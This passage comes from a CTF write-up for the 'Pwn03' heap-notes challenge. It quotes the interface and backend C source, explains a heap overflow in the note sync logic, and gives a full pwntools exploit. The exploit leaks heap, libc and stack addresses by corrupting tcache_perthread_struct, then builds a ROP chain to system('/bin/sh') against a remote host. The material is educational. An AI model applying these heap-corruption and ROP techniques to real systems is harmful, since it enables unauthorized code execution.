							written_count += tmp1->note_content_len;
							memcpy(serialize_p->content, tmp1->note_content, tmp1->note_content_len);
						}
					}

					send_data(&ipc, SENDER, reply_msg, reply_size);
					free(reply_msg);

					if(truncated){
						uint64_t status = 0;
						rc = recv_data_timeout(&ipc, RECEIVER, NULL, &status, 60);
						if(IS_ERR(rc) || (Status)status != OK){
							DBG("[backend] Send truncated message error\n");
							break;
						}

						if(tmp_note2){
							cur_note = tmp_note2;
						}
					}

				}while(truncated);
				break;
			}
			default:
				DBG("[Backend] Unsupported action %d\n", action);
				break;
		}
	}
}

int main(int argc, char **argv)
{
	if(argc < 2){
		ERROR("Usage %s <EVFD_String>\n", argv[0]);
		return 1;
	}
	char *ipc_env = argv[1];

#ifdef DEBUG
	int uid = getuid();
	int gid = getgid();
	DBG("[backend] uid = %d - gid = %d\n", uid, gid);
#endif

	if(!ipc_env){
		printf("ipc_env is NULL\n");
		return 1;
	}

	notes = NULL;
	//assert_fail_f(ipc_env != NULL, "Unable to get IPC_ENV environment variable");
	IPC_create(&ipc, 0, EFD_NONBLOCK, 0);
	parse_ev_fds(&ipc, ipc_env);

	backend_listener();
	return 0;
}
```
To get `flag1`, exploit `interface`

Basically, both are `heap notes` challenge, with familiar `add`, `list`, `read`, `edit`, `delete`, and a new option `sync`.

**Add option**
```c
void add_new_note()
{
	char title[32];
	char author[32];
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];
	int is_encrypt;
	uint32_t content_len;

	if(notes_size > MAX_NOTE){
		printf("Unable to add new note\n");
		return;
	}

	printf("Title: ");
	read_line(title, sizeof(title) - 1);
	printf("Author: ");
	read_line(author, sizeof(author) - 1);

	do{
		printf("Wanna encrypt this notes? (y/n) ");
		read_line(buf, sizeof(buf));
	}while(buf[0] != 'y' && buf[0] != 'n');

	is_encrypt = buf[0] == 'y' ? 1 : 0;

	Note_t new_note = Note_init(title, author, 0, is_encrypt);
	if(is_encrypt){
		printf("What is your passwd? ");
		bzero(buf, sizeof(buf));

		read_line(buf, sizeof(buf) - 1);
		SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
	}

	printf("How many bytes for content? ");
	content_len = read_int();
	if(content_len > MAX_CONTENT_LEN){
		content_len = MAX_CONTENT_LEN;
	}

	printf("Content: \n");
	new_note->note_content = malloc(content_len);
	new_note->note_content_len = content_len;
	fgets(new_note->note_content, content_len, stdin);

	if(is_encrypt){
		// sync this note to backend
		size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
		msg_hdr_t send_msg = malloc(send_size);
		send_msg->action = COMMIT;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon));
		serialize_p->note_content_len = sizeof(passwd_hash) + content_len;
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
		memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len);

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		uint64_t status = 0;
		int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
		
		if(IS_ERR(rc) || status != OK){
			printf("Unable to sync this note to server :(, destroying this note\n");
			Note_destroy(new_note);
			return;
		}

		free(new_note->note_content);
		new_note->note_content = NULL;
		new_note->note_synced = 1;
	}

	DL_APPEND(notes, new_note);
	notes_size++;
	puts("Added");
}
```
This option allows to input `title`, `name`, and `content`. One more thing is if you want to encrypt your data, you can enter `passwd` and backend will use `SHA256` to encrypt.
After receiving user input, `new_note` will be appended to global variable `notes`, which serves as a linked list. 

**List note**
```c
void list_note()
{
	Note_t tnote;
	DL_FOREACH(notes, tnote){
		printf("Title: %s\n", tnote->note_title);
		printf("Author: %s\n", tnote->note_author);
		if(tnote->note_is_encrypt){
			printf("Content: (Encrypted)\n");
		} else {
			printf("Content: %s\n", tnote->note_content);
		}
	}
}
```

This option prints all the notes' information, and if you choose to hash the content, it will print `encrypted` instead the real content.

**Read note**
```c
void read_note()
{
	struct Note s_note;
	Note_t tmp;
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];
	msg_hdr_t send_msg;
	msg_hdr_t recv_msg;
	size_t recv_size = 0;
	size_t send_size = 0;
	NoteSerialize_t serialize_p;
	Status status;
	int rc;

	bzero(&s_note, sizeof(struct Note));
	printf("Title: ");
	read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
	printf("Author: ");
	read_line(s_note.note_author, sizeof(s_note.note_author) - 1);

	DL_SEARCH(notes, tmp, &s_note, Note_cmp);
	if(!tmp){
		printf("Unable to find your note\n");
		return;
	}

	if(tmp->note_is_encrypt){
		printf("Password? ");
		read_line(buf, sizeof(buf) - 1);
		// sha1 here
		SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);

		// read from backend
		send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH;
		send_msg = malloc(send_size);
		send_msg->action = FETCH;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)send_msg->msg_content;

		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60);
		if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
			printf("Unable to read content\n");
			return;
		}

		serialize_p = (NoteSerialize_t)recv_msg->msg_content;
		printf("Content: %s\n", serialize_p->content);

	} else {
		printf("Content: %s\n", tmp->note_content);
	}
}
```
This option allows user to view arbitrary created chunk, and enter `title`, `name`, and `passwd` if you have for the note.

**Edit note**
```c
void edit_note()
{
	struct Note s_note;
	Note_t tmp;
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];
	msg_hdr_t send_msg;
	size_t send_size = 0;
	NoteSerialize_t serialize_p;
	uint64_t status;
	int rc;

	bzero(&s_note, sizeof(struct Note));
	printf("Title: ");
	read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
	printf("Author: ");
	read_line(s_note.note_author, sizeof(s_note.note_author) - 1);

	DL_SEARCH(notes, tmp, &s_note, Note_cmp);
	if(!tmp){
		printf("Unable to find your note\n");
		return;
	}
	
	if(tmp->note_is_encrypt){
		printf("Password ?");
		read_line(buf, sizeof(buf) - 1);
		// sha256
		SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);

		// sync with server
		send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash);
		send_msg = malloc(send_size);
		send_msg->action = AUTH;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
		serialize_p->note_content_len = sizeof(passwd_hash);
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);
		if(IS_ERR(rc) || status != OK){
			printf("Authenticate was failed\n");
			return;
		}
		printf("Access granted\n");
	}

	printf("New content len?");
	uint32_t content_len = read_int();
	content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN;

	printf("New content:\n");
	if(tmp->note_is_encrypt){
		tmp->note_content = malloc(content_len);
		tmp->note_content_len = content_len;
		fgets(tmp->note_content, content_len, stdin);
		// sync with server
		send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
		send_msg = malloc(send_size);
		send_msg->action = COMMIT;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));

		serialize_p->note_content_len += sizeof(passwd_hash);
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
		memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len);

		free(tmp->note_content);
		tmp->note_content = NULL;

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
		if(IS_ERR(rc) || status != OK){
			printf("Unable to update your content\n");
			return;
		}
		tmp->note_synced = 1;
	} else {
		if(tmp->note_content){
			free(tmp->note_content);
		}
		tmp->note_content = malloc(content_len);
		tmp->note_content_len = content_len;
		fgets(tmp->note_content, content_len, stdin);
		tmp->note_synced = 0;
	}
}
```

This option allows you to edit the content, by choosing a new content size, then removing the old content, and malloc a new chunk with specified size. 

**Delete note**
```c
void delete_note(void)
{
	struct Note s_note;
	Note_t tmp;
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];

	bzero(&s_note, sizeof(struct Note));
	printf("Title: ");
	read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
	printf("Author: ");
	read_line(s_note.note_author, sizeof(s_note.note_author) - 1);

	DL_SEARCH(notes, tmp, &s_note, Note_cmp);
	if(!tmp){
		printf("Unable to find your note\n");
		return;
	}


	size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize);
	msg_hdr_t send_msg;

	// sync with server
	if(tmp->note_is_encrypt || tmp->note_synced){
		if(tmp->note_is_encrypt){
			send_size += SHA256_DIGEST_LENGTH;
			printf("Your password? ");
			bzero(buf, sizeof(buf));
			read_line(buf, sizeof(buf) - 1);

			// sha256
			SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
		}

		send_msg = malloc(send_size);
		send_msg->action = DELETE;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));

		serialize_p->note_content_len = 0;
		if(tmp->note_is_encrypt){
			serialize_p->note_content_len = sizeof(passwd_hash);
			memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
		}

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		uint64_t status = 0;
		int rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);

		if(IS_ERR(rc) || (Status)status != OK){
			printf("Unable to delete note\n");
			return;
		}
	}

	DL_DELETE(notes, tmp);
	notes_size--;
	printf("Deleted\n");
}
```
This option allows you to remove a note. One thing is that this option removes the note by deleting it from the linked list and does not remove any `malloc-ed` chunk. 

**Sync**
```c
int note_sync(int flag)
{
	msg_hdr_t msg_hdr = NULL;
	uint32_t send_size, recv_size;
	struct msg_hdr inline_msg_hdr;
	Note_t cur_note, next_note, next_note2;
	NoteSerialize_t serialize_p;
	uint64_t status;
	uint32_t read_count = 0;
	int rc;

	if(flag == 1){
		send_size = sizeof(struct msg_hdr);

		next_note = notes;
		next_note2 = notes;

		// commit un-synced note to backend
		DL_FOREACH(next_note, cur_note){
			if(cur_note->note_synced)
				continue;
			send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len;
			if(send_size > SHM_MEM_MAX_SIZE){
				next_note = cur_note;
				break;
			}
		}

		if(send_size == sizeof(struct msg_hdr)){
			printf("All notes was synced\n");
			return 0;
		}

		msg_hdr = malloc(send_size);
		msg_hdr->action = COMMIT;
		msg_hdr->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)msg_hdr->msg_content;

		DL_FOREACH(next_note2, cur_note) {
			if(cur_note->note_synced)
				continue;
			memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon));
			memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len);
			serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len);
			cur_note->note_synced = 1;
		}

		send_data(&ipc, RECEIVER, msg_hdr, send_size);
		free(msg_hdr);

		rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
		if(IS_ERR(rc) || status != OK){
			printf("Unable to commit data to backend\n");
			return 1;
		}

	} else {
		// fetch from backend
		inline_msg_hdr.action = FETCH;
		inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content
		send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr));

		int truncated = 0;
		do{
			truncated = 0;
			rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60);
			if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
				if((Status)recv_size == OK){
					return 0;
				} else {
					printf("Unable to fetch data from backend\n");
					return 1;
				}
			}

			if(msg_hdr->action == TRUNCATED)
				truncated = 1;

			Note_t search_note;
			// parse from backend
			while(read_count < msg_hdr->msg_size){
				serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
				Note_t new_note = Note_init(serialize_p->note_title,
											serialize_p->note_author,
											serialize_p->note_content_len,
											serialize_p->note_is_encrypt);

				read_count += sizeof(struct NoteSerialize);
				Note_t p_note;
				DL_SEARCH(notes, search_note, new_note, Note_cmp);
				p_note = search_note;
				if(!search_note){
					p_note = new_note;
				}

				// update new content
				if(!p_note->note_is_encrypt){
					memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
					read_count += new_note->note_content_len;
				}

				if(p_note->note_is_encrypt) {
					p_note->note_synced = 1;
					if(p_note->note_content){
						free(p_note->note_content);
						p_note->note_content = NULL;
					}
				}

				if(!search_note){
					DL_APPEND(notes, new_note);
				} else {
					Note_destroy(new_note);
				}
			}

			if(truncated){
				// signal backend send next data
				send_data(&ipc, RECEIVER, NULL, OK);
			}
		} while(truncated);
	}
	return 0;
}
```

This option is more complex. Based on the parameter `flag`, we have two abilities. 

- If `flag == 1`, we will commit all the notes that are unsynced to `backend`, by copying all the information of a specific note to a shared memory called by `mmap` in `backend`
- If `flag == 0`, we will receive the data from that shared memory to fetch into our current note. 

That's all the options. Let's find the bug

### BUG

Take a look at how `backend` handles all the chunk when `sync(1)`.

```c
DL_SEARCH(notes, tmp1, new_note, NoteBackend_cmp);
parsed_error = OK;
if(tmp1){
// update content only;
DBG("[backend] COMMIT: update content for %s - %s\n", tmp1->note_title, tmp1->note_author);
if(tmp1->note_is_encrypt && memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0){
	// access granted
	DBG("[backend] COMMIT: access granted for encrypted note - update new content\n");
	Note_Crypt((const char *)tmp1->passwd,
					(const char *)&(serialize_note->content[SHA256_DIGEST_LENGTH]),
					(const size_t)content_len,
					&encrypt_buf,
					&encrypt_size,
					Encrypt);
	if(tmp1->note_content){
		free(tmp1->note_content);
	}
	tmp1->note_content = encrypt_buf;
	tmp1->note_content_len = encrypt_size;
} else if(!tmp1->note_is_encrypt){
	DBG("[backend] COMMIT: update new content_len: %d\n", content_len);

	if(tmp1->note_content){
		free(tmp1->note_content);
	}

	tmp1->note_content = malloc(content_len);
	tmp1->note_content_len = content_len;
	memcpy(tmp1->note_content, serialize_note->content, serialize_note->note_content_len);
}
NoteBackend_destroy(new_note);
```

First, it will compare title and author of the note, then if the `tmp1->content` exists, it will free the content and replace by a newer content.

So what will happen if two chunks have the similar title and author, but the content of latter has a bigger size. 

After `sync(1)`, we choose to `sync(0)`, all the data from `backend` will be copied into heap in `interface`.
```c
		DL_FOREACH(next_note2, cur_note) {
			if(cur_note->note_synced)
				continue;
			memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon));
			memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len);
```

There is no check over `cur_note->note_content_len`, which will lead to a `heap overflow` and `oob write` primitive.

**Arbitrary read**

To leak address, there are two ways:

- Using `uninitialized variable` as `malloc` doesn't memset old content.
- Overwriting `note->content` to an address containing another address.

Because of `fgets` adding null-byte to the end, a heap address with a form `0xXXXXXXXXXX00` must have a valid pointer

My strategy is to 
```
- Chunk 1 will have content's size 0x58
- Chunk 2 will have content's size 0x18
- chunk 3 will have content's size 0x91
```
![image](https://hackmd.io/_uploads/BkhIrlt96.png)

`0x55555555d400` has a pointer to `0x55555555d420`, so our target is to overwrite `chunk3->content`.

Because the size is `0x91`, trailing null-byte of `chunk3->content` will be copied into chunk 3 again. 

![image](https://hackmd.io/_uploads/H1h7Oetqa.png)

Okay, heap leak is successful.

How can we leak libc when in `delete` option there is no free.

In `edit` option, we can choose to release old `content` and replace it with a new specified chunk.

So my strategy here is:

```
- Set content of an arbitrary chunk to tcache_perthread_struct
    - Create a chunk with size larger than fastbin size, then write to that tcache_count 7.
- Create a chunk with content is an address to main_arena address
- Free that content and alloc a smaller chunk, we will have libc address.
- Leak the chunk containing a pointer to main_arena, we will have libc.
```

So now let's begin.

**First chunk**
```py
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin1'
pl = pl.ljust(0x60, b'\0')
pl += b'lin1'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0x10)[0:6]

add(b'lynk', b'Lynk', b'n', 0x10, b'A')
add(b'lynk', b'Lynk', b'n', 0x97, pl)
```
**Second chunk**
```py
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin2'
pl = pl.ljust(0x60, b'\0')
pl += b'lin2' 
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0xf10)[0:6]
add(b'lynk1', b'Lynk1', b'n', 0x10, b'B')
add(b'lynk1', b'Lynk1', b'n', 0x97, pl)
```

**Third chunk**
```py
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin3'
pl = pl.ljust(0x60, b'\0')
pl += b'lin3'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0xf40)[0:6] # chunk will have main_arena address
add(b'lynk2', b'Lynk2', b'n', 0x10, b'B')
add(b'lynk2', b'Lynk2', b'n', 0x97, pl)
```

Edit `lin1` chunk, where we can free `tcache_perthread_struct`, then malloc(0x288) will reuse that freed object.

```py
edit(b'lin1', b'lin1', 0x288, pl)
```

![image](https://hackmd.io/_uploads/SJS4slF5p.png)

Edit `lin2`, we will have `main_arena` address now.

```py
edit(b'lin2', b'lin2', 0x20, b'A') # alloc a smaller chunk
```

![image](https://hackmd.io/_uploads/Bk5Yoxtqa.png)

Okay, we have `libc` now.

**Leaking stack and overwriting return address**

We have `lin1->content` is `tcache_perthread_struct`, I choose to overwrite chunk `lynk`, and rewrite its content to `environ` in order to leak stack.

![image](https://hackmd.io/_uploads/SJ7T2xtqa.png)
![image](https://hackmd.io/_uploads/HkVkpxY5a.png)

Reuse `tcache_perthread_struct` again to ROP on stack.

```py
pl = p16(1) * 64 + p64(stack) * 10
edit(b'lin1', b'lin1', 0x288, pl)
rdi = 0x000000000002a3e5 + l.address
ret = rdi + 1
bin_sh = next(l.search(b'/bin/sh'))
pl = p64(0) + p64(rdi) + p64(bin_sh) + p64(ret) + p64(l.sym['system'])
#pause()
edit(b'junk1', b'junk1', 0x88, pl)
```

![image](https://hackmd.io/_uploads/r1eralYqp.png)

**Final script**

```py
from pwn import *

e = context.binary = ELF("./interface")
be = context.binary = ELF("./backend")
l = ELF("./libc.so.6")
r = remote("139.162.29.93", 31339)
#r = process([e.path, be.path])
def choice(c: int):
    r.recvuntil(b'Choice: ')
    r.sendline(str(c).encode())
def add(title: bytes, author: bytes, enc: bytes, num: int, content: bytes, passwd = b'123'):
    choice(1)
    r.recvuntil(b'Title: ')
    r.sendline(title)
    r.recvuntil(b'Author: ')
    r.sendline(author)
    r.recvuntil(b'(y/n) ')
    r.sendline(enc)
    if enc == b'y':
        r.recvuntil(b'What is your passwd? ')
        r.sendline(passwd)
    r.recvuntil(b'How many bytes for content? ')
    r.sendline(str(num).encode())
    r.recvuntil(b'Content:')
    r.sendline(content)
def list_():
    choice(2)
def read_(title: bytes, author: bytes, passwd = None):
    choice(3)
    r.recvuntil(b'Title: ')
    r.sendline(title)
    r.recvuntil(b'Author: ')
    r.sendline(author)
    if passwd: 
        r.recvuntil(b'Password? ')
        r.sendline(passwd)
def edit(title: bytes, author: bytes, new_len: int, new_content: bytes, passwd = None):
    choice(4)
    r.recvuntil(b'Title: ')
    r.sendline(title)
    r.recvuntil(b'Author: ')
    r.sendline(author)
    if passwd: 
        r.recvuntil(b'Password? ')
        r.sendline(passwd)
    r.recvuntil(b'New content len?')
    r.sendline(str(new_len).encode())
    r.recvuntil(b'New content:')
    r.sendline(new_content)
def delete(title: bytes, author: bytes):
    choice(5)
    r.recvuntil(b'Title: ')
    r.sendline(title)
    r.recvuntil(b'Author: ')
    r.sendline(author)
def sync(sc):
    choice(6)
    r.recvuntil(b'[c]ommit note? (s/c)')
    r.sendline(sc)
context.terminal = ['/usr/bin/vscode']
gs = """
set follow-fork-mode parent
b*edit_note+600
"""

#gdb.attach(r, gs)

add(b'lynk', b'Lynk', b'n', 0x58, b'A' * 0x67)
add(b'lynk1', b'Lynk1', b'n', 0x17, b'A' * 0x16)
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin'
pl = pl.ljust(0x60, b'\0')
pl += b'lin'
pl = pl.ljust(0x80, b'\0')
pl += p64(0x2000) 
pl = pl.ljust(0x8f, b'\0')
add(b'lynk1', b'Lynk1', b'n', 0x91, pl)
#add(b'gym', b'jao', b'n', 0x91, payload)
sync(b'c')
sync(b's')

read_(b'lin', b'lin')
r.recvuntil(b'Content: ')
heap = u64(r.recv(6).ljust(8, b'\0')) - 0x420
log.info(f'Heap: {hex(heap)}')
delete(b'lynk', b'Lynk')
delete(b'lynk1', b'Lynk1')
delete(b'lin', b'lin')
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin1'
pl = pl.ljust(0x60, b'\0')
pl += b'lin1'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0x10)[0:6]

add(b'lynk', b'Lynk', b'n', 0x10, b'A')
add(b'lynk', b'Lynk', b'n', 0x97, pl)

pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin2'
pl = pl.ljust(0x60, b'\0')
pl += b'lin2'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0xf10)[0:6]
add(b'lynk1', b'Lynk1', b'n', 0x10, b'B')
add(b'lynk1', b'Lynk1', b'n', 0x97, pl)

pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin3'
pl = pl.ljust(0x60, b'\0')
pl += b'lin3'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0xf40)[0:6] # chunk will have main_arena address
add(b'lynk2', b'Lynk2', b'n', 0x10, b'B')
add(b'lynk2', b'Lynk2', b'n', 0x97, pl)

add(b'junk1', b'junk1', b'n', 0x250, b'A')
add(b'junk2', b'junk2', b'n', 0x260, b'A')
#delete(b'lynk1', b'Lynk1')
sync(b'c')
sync(b's')
pl = p16(0) * 35 + p16(7) * 3
pause()
edit(b'lin1', b'lin1', 0x288, pl) # edit tcache_perthread_struct

edit(b'lin2', b'lin2', 0x20, b'A') # alloc a smaller chunk
read_(b'lin3', b'lin3')

r.recvuntil(b'Content: ')
l.address = u64(r.recv(6) + b'\0' * 2) - l.sym['main_arena'] - 96
log.info(f'Libc: {hex(l.address)}')
pl = p16(1) * 64 + p64(heap + 0x830) * 10
edit(b'lin1', b'lin1', 0x288, pl)
edit(b'lin2', b'lin2', 0x98, p64(0x10) + p64(0x2) + p64(l.sym['environ']) + p64(heap + 0xe80) + p64(heap + 0x900) + p64(0x81))

read_(b'lynk', b'Lynk')
r.recvuntil(b'Content: ')
stack = u64(r.recv(6) + b'\0' * 2) - 832
log.info(f'Stack: {hex(stack)}')
pl = p16(1) * 64 + p64(stack) * 10
edit(b'lin1', b'lin1', 0x288, pl)
rdi = 0x000000000002a3e5 + l.address
ret = rdi + 1
bin_sh = next(l.search(b'/bin/sh'))
pl = p64(0) + p64(rdi) + p64(bin_sh) + p64(ret) + p64(l.sym['system'])
#pause()
edit(b'junk1', b'junk1', 0x88, pl)

r.interactive()
```

## Pwn03-flag2

Here we are going to find vulnerability and exploit in `backend`.

